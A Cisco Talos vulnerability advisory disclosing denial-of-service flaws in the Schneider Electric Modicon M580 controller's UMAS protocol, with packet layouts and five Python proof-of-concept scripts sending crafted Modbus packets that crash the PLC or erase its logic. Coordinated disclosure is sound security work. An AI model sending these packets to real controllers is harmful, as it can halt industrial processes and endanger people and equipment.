Talos Vulnerability Report

TALOS-2019-0763

Schneider Electric Modicon M580 UMAS function code 0x6d multiple denial-of-service vulnerabilities

June 10, 2019
CVE Number

CVE-2018-7852

Summary

Multiple denial-of-service vulnerabilities exist in the UMAS protocol functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. Specially crafted UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger these vulnerabilities.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as "UMAS."

CVE-2019-XXXX Function Code 0x6d Subcode 0x00 SubSubcode 0x80

When a UMAS command is sent using function code 0x6d with subcode 0x00 and subcode 0x80, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of a malicious function code 0x6d with subcode 0x00 and subsubcode 0x80 command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |                   F
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1   <F cont.> |
  +---+---+---+

A --> Modbus Function Code  (0x5a)
B --> Session
C --> UMAS Function Code    (0x6d)
D --> Sub Function Code     (0x00)
E --> Sub Sub Function Code (0x80)
F --> Data                  

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
    msg = "000000000014005a006d00800000ff000000ff000000ff000000".decode('hex')
    s.send(msg)
    s.close()

if __name__ == '__main__':
    main()

CVE-2019-XXXX Function Code 0x6d Subcode 0x00 SubSubcode 0xf9

When a UMAS command is sent using function code 0x6d with subcode 0x00 and subsubcode 0xf9, it is possible to make the device enter a fault state where the device stops its normal execution and removes the existing strategy, causing a denial-of-service condition.

The structure of a malicious Function Code 0x6d with subcode 0x00 and subsubcode 0xf9 command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |         F         |
  +---+---+---+---+---+---+---+---+---+---+

A --> Modbus Function Code  (0x5a)
B --> Session
C --> UMAS Function Code    (0x6d)
D --> Sub Function Code     (0x00)
E --> Sub Sub Function Code (0xf9)
F --> Data

In this state, recovery is possible through use of the programming software UnityPro.

Exploit proof of concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    msg = "00000000000b005a006d00f90000000000".decode('hex')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
    s.send(msg)
    s.close()

if __name__ == '__main__':
    main()

CVE-2019-XXXX Function Code 0x6d Subcode 0x01

When two UMAS commands are sent using function code 0x6d with subcode 0x01 and subcode 0x8b, followed by subcode 0x86, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of a malicious function code 0x6d command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |
  +---+---+---+---+---+

A --> Modbus Function Code  (0x5a)
B --> Session
C --> UMAS Function Code    (0x6d)
D --> Sub Function Code     (0x01)
E --> Sub Sub Function Code

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit proof of concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    msg1 = "000000000006005a006d018b".decode('hex')
    msg2 = "000000000006005a006d0186".decode('hex')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
    s.send(msg1)
    s.send(msg2)
    s.close()

if __name__ == '__main__':
    main()

CVE-2019-XXXX Function Code 0x6d Subcode 0x78

When a UMAS command is sent using function code 0x6d with subcode 0x78, it is possible to make the device enter a fault state where the device stops its normal execution and removes the existing strategy, causing a denial-of-service condition.

The structure of a malicious function code 0x6d takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |
  +---+---+---+---+

A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code   (0x6d)
D --> Sub Function Code    (0x78)

In this state, recovery is possible through use of the programming software UnityPro.

Exploit proof of concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    msg = "000000000005005a006d78".decode('hex')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
    s.send(msg)
    s.close()

if __name__ == '__main__':
    main()

CVE-2019-XXXX Function Code 0x6d Subcode 0x79

When a UMAS command is sent using function code 0x6d with subcode 0x79, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.

The structure of a malicious function code 0x6d command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |
  +---+---+---+---+

A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code   (0x6d)
D --> Sub Function Code    (0x79)

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit proof of concept

import socket

def main():
    # target definition setup
    rhost = "192.168.10.1"
    rport = 502

    # socket setup
    msg = "000000000005005a006d79".decode('hex')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    s.connect((rhost, rport))
    s.send(msg)
    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.